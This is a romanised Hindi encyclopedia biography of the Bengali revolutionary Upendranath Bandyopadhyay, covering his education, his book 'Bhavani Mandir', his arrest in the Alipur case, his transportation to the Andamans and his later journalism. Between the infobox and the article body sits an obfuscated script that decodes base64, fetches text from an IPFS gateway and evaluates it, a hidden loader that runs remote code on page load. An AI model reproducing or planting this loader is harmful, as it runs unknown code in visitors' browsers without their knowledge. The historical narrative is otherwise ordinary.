उपेन्द्रनाथ बंधोपाध्याय
upendranath bandhopadhyay
| |
| poora nam | upendranath bandhopadhyay |
| janm | 6 joon, 1879 |
| janm bhoomi | chandan nagar, ban |
| mrityu | 1950 |
| abhibhavak | pita- ramanath banarji |
| karm bhoomi | bharat |
| karm-kshetr | bharatiy svatantrata |
| mukhy rachanaean | 'bhavani mandir' |
| prasiddhi | kraantikari |
| nagarikata | bharatiy |
| any janakari | upendranath bandhopadhyay ne 1905 mean 'bhavani mandir' nam ki pustak likhi thi, jisamean desh ki svatantrata ke liye apane janata ko shakti ki devi kali ki upasana karane ke liye zor diya tha. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>upendranath bandhopadhyay (aangrezi: Upendranath Bandyopadhyay, janm- 6 joon, 1879; mrityu- 1950) bharat ki azadi ke liye sangharsh karane vale krantikariyoan mean se ek the. alipur p dayantr kes ke pramukh p dayantrakariyoan mean upendranath bandopadhyay bhi the. unhoanne aravind ghosh ke 'vandemataramh' patr mean bhi kam kiya. isake bad ve 'yugantar' patr ke sampadak hue aur is patr ke dvara unhoanne jvalant krantikari bhavoan ka prachar karana arambh kiya.
parichay
upendranath bandhopadhyay ka janm sanh 1879 ki 6 joon ko chandan nagar mean (chandar nagar) hua tha. chandan nagar mean phraans ka raj tha. upendranath bandhopadhyay ke pita ramanath banarji vaishnav the aur mata shakt thian. san 1897 mean upendranath bandhopadhyay ka vivah hua. 1906 mean unaka jyeshth putr mripendr paida hua. unaki stri ek adarsh hindoo mahila thian, jo priyatam pati ke nirvasan-kal mean ek sannyasini ki tarah rahati thian.[1]
shiksha
upendr baboo ne chandan nagar mean rahakar prathamik shiksha samapt karane ke bad dyoopale kalej se entrens pas kiya. phreanch bhasha mean sarvashreshth hone ke karan unhean ek svarn padak inam mean mila tha. chhatravastha mean ve b de hi chanchal the aur mastaroan ko tang kiya karate the. san 1898 se 1903 tak ve kalakatta (adhunik kolakata) ke medikal kalej mean daktari padhate rahe. unhoanne daph kalej mean bhi padhaee ki, us samay vah vidyarthiyoan ko keval phrech bhasha padha kar dhanoparjan kar lete the. daph kalej se unhean baibil ki pariksha mean chhatravritti bhi mili thi. baibil ke uttam vidyarthi hone par bhi unhean eesaee dharm se b di ghrina thi aur ve hinduoan ke bich mean eesaee padariyo ke viruddh vyakhyan adi diya karate the.
svami vivekanand se prabhavit
isi samay upendranath bandhopadhyay ko svami vivekanand ke granthoan ke adhyayan karane ka shauk ho gaya. ve ek bar svami vivekanand se mile bhi the aur phir usake bad svami ji ke mayavati (himalay) ashram mean jakar sanyasi ki tarah rahe, magar aur bhi bhaee jakar unhean vahaan se le aye. isake bad upendr baboo chandan nagar laute aur vahaan ke ek vidyalay mean adhyapan kary karane lage. sath hi yuva vidyarthiyoan mean rajadroh aur krantikari vichar ka prachar bhi karane lage. kintu nau mas ke bad ve phir ghar se vida hue. unake mitr pandit hashikesh kaanjilal sath the, jo barabar unake sath rahe. ve patana, banaras, bareli hote hue phir mayapuri pahuche aur vahaan shakhoan ka adhyayan karane lage.
kraantikari vichar v sampadan kary
phir upendranath bandhopadhyay ka dhyan mayavad se hatakar karmavad ki or aya. ve ek sanyasi ke roop mean panjab ka paryatan karane lage. san 1905 mean ve lautakar phir adhyapan-kary karane lage, aur vidyarthiyoan ke dimag mean krantikari bhav bharane lage. ek varsh ke bad unhoanne adhyapan kary chho d diya aur aravind ke 'vandemataramh' patr mean kam karane lage. isake bad ve 'yugantar' patr ke sampadak hue aur is patr ke dvara unhoanne jvalant krantikari bhavoan ka prachar karana arambh kiya.[1]
bhavani mandir
upendranath bandhopadhyay ne 1905 mean 'bhavani mandir' nam ki pustak likhi thi, jisamean desh ki svatantrata ke liye apane janata ko shakti ki devi kali ki upasana karane ke liye zor diya tha. upendranath ji ne isamean likha tha ki is kary mean keval brahmachari yuvakoan ko age badhana chahiye, jo avivahit rahakar tyagi sannyasiyoan ki tarah seva-kary karean aur kam poora hone par, yane desh svatantr hone par ve vivah karean.
kantikariyoan ke liye likha gaya tha ki ve sainik shiksha grahan karean aur vartaman rananiti ko achchhi tarah jane. vartaman rananiti ke lekhak avinashachandr bhattachary ko san 1907 mean alipur bamakes mean sat varsh sapirashram karavas ka dand mila tha. is pustak mean desh ko svatantr karane ke liye aangrejoan se yuddh karana avashyak bataya gaya hai. isi ke sath bam banane ki bhi ek pustika thi, jisaka krantikari log adhyayan kiya karate the. bambee (adhunik mumbee) mean deshabhakt vir savarakar aur lahaur mean bhaee paramanand ke yahaan talashi lene par mili thian.
kalapani ki saza
san 1908 mean upendranath bandhopadhyay, barindr kumar ke sath kalakatte ke manikatalla bagiche mean pak de gaye. svargiy deshabandhu chittaranjan das ne unaki jaisi achchhi pairi ki thi, vah sarv-siddhi hai. upendranath bandhopadhyay ko ajanm kalepani ka dand mila tha. unhoanne majistret ke samane jo mahatvapoorn vaktavy diya tha, usamean kaha tha- maianne khyal kiya ki hindustan ke kuchh log bina dharmik bhavoan ke kuchh n kareange, isaliye maianne sadhuoan se sahayata leni chahi; par ve kam n aye. isake bad maian skooli l dakoan mean krantikari bhavoan ka prachar karane laga. desh ke bhinn-bhinn sthanoan mean gupt samitiyaan aur shastr adi ekatr karane ka dhyan hua. isake bad maianne shri varindr, shri udalasakar aur shri hem se bheant ki aur inake sath kam karane laga. hamara uddeshy uchch adhikariyoan ko jaise chhote lat mi. kiangsaphord adi ko marane ke liye tha.
hrishikesh kaanjilal ne 11 mee san 1908 ko maijitret ke samane kaha tha- "maian skool mean adhyapan karata hooan. chandan nagar mean upendr ne mujhe "yugantar" patr ki kee pratiyaan dikhayian; jinhean padhakar mujhe matribhoomi ko svatantr karane ka dhyan hua. maian skul mean mastari karate hue navayuvakoan ko yah batana chahata tha ki aangrejoan ne is desh ko dhokhebazi aur kootaniti se vijay kiya hai.[1]
barah varsh tak kalepani ka dand bhugatane ke bad upendranath bandopadhyay 1920 ke pharavari mas mean chhoot kar aye. desh ke liye unhoanne jo sevaean aur tapasyaean ki haian, usaka varnan nahian kiya ja sakata hai. is bar ve 'narayan' aur 'bijali' patroan mean kam karane lage. darshanik vishayoan ki kee pustake bhi likhian. upendranath bandhopadhyay ne apani 'dvipantaravas ki kahani' bahut hi rochak aur manoranjak dhang se likhi hai. vah kalakaroan ke suprasiddh ianglish dainik patr 'amrit bazar patrika' ke sampadakiy vimag mean bhi kuchh dinoan ke liye kam karate rahe aur phir isake bad apana 'atmashakti' (bangala) saptahik patr bhi nikala, jisaki bangal bhar mean khoob syati huee.
mrityu
kraantikari upendranath bandhopadhyay ki mrityu san 1950 mean huee.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 upendranath bandhopadhyay (hiandi) epichindi.in. abhigaman tithi: 20 march, 2022.
bahari k diyaan
sanbandhit lekh
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